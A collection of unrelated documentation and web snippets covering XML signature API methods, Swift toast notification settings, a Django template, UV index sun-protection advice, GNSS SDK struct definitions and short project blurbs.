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Load the signature information from the DOM source. Used to tell the DSIGSignature object to read from the DOM tree into local structures. Will throw various exceptions if it finds that the DOM structure is not in line with the XML Signature standard. |
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Create an input stream from SignedInfo. This method allows applications to read the fully canonicalised byte stream that is hashed and signed. All transforms are performed up to the point where they would normally be fed into the Digest function.
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Add an attribute name to be searched for when looking for Id attributes. This allows a user to add an attribute name to be used to identify Id attributes when they are not set to be of Type=ID in the DOM
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Add an attribute name within a particular Namespace to be searched for when looking for Id attributes. This allows a user to add an attribute name to be used to identify Id attributes when they are not set to be of Type=ID in the DOM
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Set the prefix be used for the DSIG namespace. When the XSEC library creates XML Element nodes, it uses the prefix here for all nodes created. By default, the library assumes that the default namespace is used. The createBlankSignature function will use this prefix to setup the dsig namespace. E.g. (assuming a call has been made to set the prefix to "ds") the <Signature> element will have a namespace attribute added of xmlns:ds="http://www.w3.org/2000/09/xmldsig#" If no prefix has been set, this attribute will be set as the default namespace
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Set the prefix be used for the Exclusive Canonicalisation namespace. The Exclusive Canonicalisation specification defines a new namespace for the InclusiveNamespaces node. This function can be used to set the prefix that the library will use when creating nodes within this namespace. xmlns:ds="http://www.w3.org/2001/10/xml-exc-c14n#" If no prefix is set, the default namespace will be used
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Set Id finding behaviour. The library de-references "#obj" URI references to ID attributes within a DOM document. Currently, the library first uses DOM calls to find if the Id has been properly set within the document via the parser or one of the DOM Level 3 calls to set an Id. If no Id is found of the correct name, the library then starts searching for attributes of a given name with the required value. This list defaults to "id" and "Id", but can be modified via a call to addIdAttributeName() The setIdByAttributeName call enables or disables the second part of the Id search. I.e. when the Id doesn't exist as an attribute of Type=ID, whether or not to search for an attribute of a name in the list of names. By default this behaviour is enabled.
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Register a KeyInfoResolver. Registers a KeyInfoResolver to be used by the Signature when it needs to find a key to be used to validate a signature |
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Set Pretty Print. The pretty print functions controls whether the library will output CR/LF after the elements it adds to a document By default the library will do pretty printing (flag is true)
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Externally set the signing/verification key. Used prior to a verify or sign operation to set the signature key (public or private respectively) to be used for the operation.
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Register a URIResolver. Registers a URIResolver to be used by the Signature when dereferencing a URI in a Reference element |
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Set the prefix be used for the XPath-Filter2 namespace. The XPathFilter definition uses its own namespace. This method can be used to set the prefix that the library will use when creating elements in this namespace xmlns:ds="http://www.w3.org/2002/06/xmldsig-filter2" If no prefix is set, the default namespace will be used
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Sign a DSIGSignature DOM structure. The sign function will create the reference hash values and signature value in a DOM structure previously created via a load or createBlankSignature call It performs the following operations :
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Verify that a signature is valid. The verify function will validate the signature of an XML document previously loaded into the DSIGSignature structure via a load. It performs the following operations :
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Verify a signature is valid (skip references). This function is almost the same as verify except it will skip the reference checks.
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ToastManager
public class ToastManager
ToastManager
provides general configuration options for all toast
notifications. Backed by a singleton instance.
-
The
ToastManager
singleton instance.Declaration
Swift
public static let shared = ToastManager()
-
The shared style. Used whenever toastViewForMessage(message:title:image:style:) is called with with a nil style.
Declaration
Swift
public var style = ToastStyle()
-
Enables or disables tap to dismiss on toast views. Default is
true
.Declaration
Swift
public var tapToDismissEnabled = true
-
Enables or disables queueing behavior for toast views. When
true
, toast views will appear one after the other. Whenfalse
, multiple toast views will appear at the same time (potentially overlapping depending on their positions). This has no effect on the toast activity view, which operates independently of normal toast views. Default istrue
.Declaration
Swift
public var queueEnabled = true
-
The default duration. Used for the
makeToast
andshowToast
methods that don’t require an explicit duration. Default is 3.0.Declaration
Swift
public var duration: TimeInterval = 3.0
-
Sets the default position. Used for the
makeToast
andshowToast
methods that don’t require an explicit position. Default isToastPosition.Bottom
.Declaration
Swift
public var position = ToastPosition.bottom


{% extends 'assessment-rooted.html' %} {% load bs4 split %} {% block content %}
| {{object.design.study.short_citation}} | {{object.design.name}} | {{object.cause.name}} | {{object.effect.name }} | {{object.name}} | {% split object.modifying_factors as factors %} {% for factor in factors %} {{factor}} {% endfor %} | {{object.derived_value|floatformat:3 }} | {{object.comments}} |


Sun Protection Rules
0 to 2: Low
A UV Index reading of 0 to 2 means low danger from the sun's UV rays for the average person.
- Wear sunglasses on bright days.
- If you burn easily, cover up and use broad spectrum SPF 30+ sunscreen.
- vWatch out for bright surfaces, like sand, water and snow, which reflect UV and increase exposure.
3 to 5: Moderate
A UV Index reading of 3 to 5 means moderate risk of harm from unprotected sun exposure
- Stay in shade near midday when the sun is strongest.
- If outdoors, wear protective clothing, a wide-brimmed hat, and UV-blocking sunglasses
- Generously apply broad spectrum SPF 30+ sunscreen every 2 hours, even on cloudy days, and after swimming or sweating.
6 to 7: High
A UV Index reading of 6 to 7 means high risk of harm from unprotected sun exposure. Protection against skin and eye damage is needed.
- Reduce time in the sun between 10 a.m. and 4 p.m.
- If outdoors, seek shade and wear protective clothing, a wide-brimmed hat, and UV-blocking sunglasses.
- Generously apply broad spectrum SPF 30+ sunscreen every 2 hours, even on cloudy days, and after swimming or sweating.
- Watch out for bright surfaces, like sand, water and snow, which reflect UV and increase exposure.
8 to 10: Very High
A UV Index reading of 8 to 10 means very high risk of harm from unprotected sun exposure.
- Minimize sun exposure between 10 a.m. and 4 p.m.
- If outdoors, seek shade and wear protective clothing, a wide-brimmed hat, and UV-blocking sunglasses.
- Generously apply broad spectrum SPF 30+ sunscreen every 2 hours, even on cloudy days, and after swimming or sweating.
- Watch out for bright surfaces, like sand, water and snow, which reflect UV and increase exposure
11+: Extreme
A UV Index reading of 11 or more means extreme risk of harm from unprotected sun exposure.
- Try to avoid sun exposure between 10 a.m. and 4 p.m.
- If outdoors, seek shade and wear protective clothing, a wide-brimmed hat, and UV-blocking sunglasses.
- Generously apply broad spectrum SPF 30+ sunscreen every 2 hours, even on cloudy days, and after swimming or sweating.
- Watch out for bright surfaces, like sand, water and snow, which reflect UV and increase exposure.


OhMyRSS
Turn any RSS (or Atom!) feed into a full-text feed.
OhMyRSS is an open source project. Check it out.


|
SDK
Release 1.7.2
Communications, logger, and bootloader libraries.
|
#include <data_sets.h>
Public Attributes | |
| double | ion_gps [8] |
| double | ion_gal [4] |
| double | ion_qzs [8] |
| double | ion_cmp [8] |
| double | ion_irn [8] |
| double | utc_gps [4] |
| double | utc_glo [4] |
| double | utc_gal [4] |
| double | utc_qzs [4] |
| double | utc_cmp [4] |
| double | utc_irn [4] |
| double | utc_sbs [4] |
| int32_t | leaps |
| alm_t | alm |
ionosphere model and utc parameters
Definition at line 1978 of file data_sets.h.
| alm_t ion_model_utc_alm_t::alm |
Definition at line 1996 of file data_sets.h.
| double ion_model_utc_alm_t::ion_cmp[8] |
Definition at line 1983 of file data_sets.h.
| double ion_model_utc_alm_t::ion_gal[4] |
Definition at line 1981 of file data_sets.h.
| double ion_model_utc_alm_t::ion_gps[8] |
Definition at line 1980 of file data_sets.h.
| double ion_model_utc_alm_t::ion_irn[8] |
Definition at line 1984 of file data_sets.h.
| double ion_model_utc_alm_t::ion_qzs[8] |
Definition at line 1982 of file data_sets.h.
| int32_t ion_model_utc_alm_t::leaps |
Definition at line 1994 of file data_sets.h.
| double ion_model_utc_alm_t::utc_cmp[4] |
Definition at line 1990 of file data_sets.h.
| double ion_model_utc_alm_t::utc_gal[4] |
Definition at line 1988 of file data_sets.h.
| double ion_model_utc_alm_t::utc_glo[4] |
Definition at line 1987 of file data_sets.h.
| double ion_model_utc_alm_t::utc_gps[4] |
Definition at line 1986 of file data_sets.h.
| double ion_model_utc_alm_t::utc_irn[4] |
Definition at line 1991 of file data_sets.h.
| double ion_model_utc_alm_t::utc_qzs[4] |
Definition at line 1989 of file data_sets.h.
| double ion_model_utc_alm_t::utc_sbs[4] |
Definition at line 1992 of file data_sets.h.


--- layout: post title: Phonebook Style Paging in ASP.NET MVC date: '2010-02-28T16:34:00.001Z' author: solrevdev tags: modified_time: '2010-02-28T16:34:09.391Z' blogger_id: tag:blogger.com,1999:blog-31446756.post-8193033924917964019 blogger_orig_url: http://www.solrevdev.com/2010/02/phonebook-style-paging-in-aspnet-mvc.html ---


Package providing integration of the
Flux
job scheduler with Spring concepts. Flux is also a workflow engine and a business process management (BPM) engine.


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